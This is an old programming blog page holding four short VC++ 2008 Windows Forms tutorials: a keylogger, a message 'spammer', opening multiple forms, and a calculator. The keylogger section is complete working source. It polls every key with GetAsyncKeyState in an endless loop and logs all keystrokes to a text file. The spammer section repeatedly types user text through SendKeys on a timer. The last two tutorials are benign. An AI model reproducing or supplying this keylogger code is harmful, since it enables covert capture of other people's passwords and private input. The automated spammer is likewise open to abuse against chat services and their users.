Friday, June 4, 2010

How to create a simple Keylogger in VC++ 2008 [Windows FormsApplication]

Here is the code

#include <Windows.h>
#include <Winuser.h>
#undef GetCurrentDirectory
////////////////////////////////////
using namespace System::IO;
////////////////////////////////////
Keylogger();
////////////////////////////////////
wchar_t keyc; String^ path; int i;
  int save(int key)
  {
   StringWriter^ sw = gcnew StringWriter();
   path = String::Concat(Directory::GetCurrentDirectory(),"\\","LOG.txt");
   keyc = Convert::ToChar(key);
   sw->Write(keyc);
   if(key == VK_LBUTTON || key == VK_RBUTTON || key == 162 || key == 16 || key == 164 || key == 163 || key == 165)
    return 0;
   else if(key == VK_LSHIFT || key == VK_RSHIFT)
    File::AppendAllText(path,"[SHIFT]");
   else if(key == VK_CONTROL)
    File::AppendAllText(path,"[CTRL]");
   else if(key == VK_ESCAPE)
    File::AppendAllText(path,"[ESC]");
   else if(key == VK_END)
    File::AppendAllText(path,"[END]");
   else if(key == VK_HOME)
    File::AppendAllText(path,"[HOME]");
   else if(key == VK_DELETE)
    File::AppendAllText(path,"[DEL]");
   else if(key == VK_INSERT)
    File::AppendAllText(path,"[INS]");
   else if(key == VK_CAPITAL)
    File::AppendAllText(path,"[CAPSLOCK]");
   else if(key == VK_UP)
    File::AppendAllText(path,"[UP]");
   else if(key == VK_DOWN)
    File::AppendAllText(path,"[DOWN]");
   else if(key == VK_LEFT)
    File::AppendAllText(path,"[LEFT]");
   else if(key == VK_RIGHT)
    File::AppendAllText(path,"[RIGHT]");
   else if(key == VK_TAB)
    File::AppendAllText(path,"[TAB]");
   else if(key == VK_BACK)
    File::AppendAllText(path,"[BACKSPACE]");
   else if(key == VK_RETURN)
   { 
    File::AppendAllText(path,"[ENTER]");
           sw->WriteLine(); File::AppendAllText(path,sw->ToString());   
   }
   else if(key == VK_MENU)
    File::AppendAllText(path,"[ALT]");
   else if(key == VK_NUMPAD0)
    File::AppendAllText(path,"0");
   else if(key == VK_NUMPAD1)
    File::AppendAllText(path,"1");
   else if(key == VK_NUMPAD2)
    File::AppendAllText(path,"2");
   else if(key == VK_NUMPAD3)
    File::AppendAllText(path,"3");
   else if(key == VK_NUMPAD4)
    File::AppendAllText(path,"4");
   else if(key == VK_NUMPAD5)
    File::AppendAllText(path,"5");
   else if(key == VK_NUMPAD6)
    File::AppendAllText(path,"6");
   else if(key == VK_NUMPAD7)
    File::AppendAllText(path,"7");
   else if(key == VK_NUMPAD8)
    File::AppendAllText(path,"8");
   else if(key == VK_NUMPAD9)
    File::AppendAllText(path,"9");
   else if(key == VK_MULTIPLY)
    File::AppendAllText(path,"*");
   else if(key == VK_ADD)
    File::AppendAllText(path,"+");
   else if(key == VK_OEM_COMMA)
    File::AppendAllText(path,",");
   else if(key == VK_SUBTRACT || key == 189)
    File::AppendAllText(path,"-");
   else if(key == VK_OEM_PERIOD || key == 110)
    File::AppendAllText(path,".");
   else if(key == VK_DIVIDE)
    File::AppendAllText(path,"/");
   else if(key == VK_OEM_1)
    File::AppendAllText(path,";");
   else if(key == VK_OEM_2)
    File::AppendAllText(path,"/");
   else if(key == VK_OEM_3)
    File::AppendAllText(path,"~");
   else if(key == VK_OEM_4)
    File::AppendAllText(path,"[");
   else if(key == VK_OEM_5)
    File::AppendAllText(path,"\\");
   else if(key == VK_OEM_6)
    File::AppendAllText(path,"]");
   else if(key == 187)
    File::AppendAllText(path,"=");
   else if(key == 222)
    File::AppendAllText(path,"'");
   else if(key == VK_NUMLOCK)
    File::AppendAllText(path,"[NUMLOCK]");
   else if(key == VK_LWIN || key == VK_RWIN)
    File::AppendAllText(path,"[WINDOWS]");
   else
    File::AppendAllText(path,sw->ToString());
   return 0;
  }
  void Keylogger()
  {
   while(true)
   {
    for(i=0; i<=255; i++)
    {
     if(GetAsyncKeyState(i) == -32767)
      save(i);
    }
   }
  }

How to use Multiple Forms in VC++ 2008 [Windows Forms Application]

Here is the code

//First include the second form
#include "Form2.h"

//Button "Click Me"
Form2^ form2 = gcnew Form2();
form2->Show();

How to create a Simple Spammer in VC++ 2008 [Windows Forms Application]

Here is the code

//Button "Start"
timer1->Start();

//Button "Stop"
timer1->Stop();

//Timer
timer1->Interval = System::Convert::ToInt32(textBox2->Text);
SendKeys::Send(textBox1->Text);
SendKeys::Send("{ENTER}");

How to create a Calculator in VC++ 2008 [Windows Forms Application]

Here is the code

//First declare these variables
char c; double x,y,d;

//Button '+'
this->label1->Text = "+"; c='+';

//Button '-'
this->label1->Text = "-"; c='-';

//Button 'x'
this->label1->Text = "x"; c='x';

//Button '/'
this->label1->Text = "/"; c='/';

//Button '='
x = System::Convert::ToInt32(this->textBox1->Text);
y = System::Convert::ToInt32(this->textBox2->Text);
switch(c)
{
case '+': d = x + y; break;
case '-': d = x - y; break;
case 'x': d = x * y; break;
case '/': d = x / y; break;
}
this->label2->Text = System::Convert::ToString(d);

//Button 'Clear'
this->textBox1->Text = ""; this->textBox2->Text = "";
this->label1->Text = ""; this->label2->Text = "";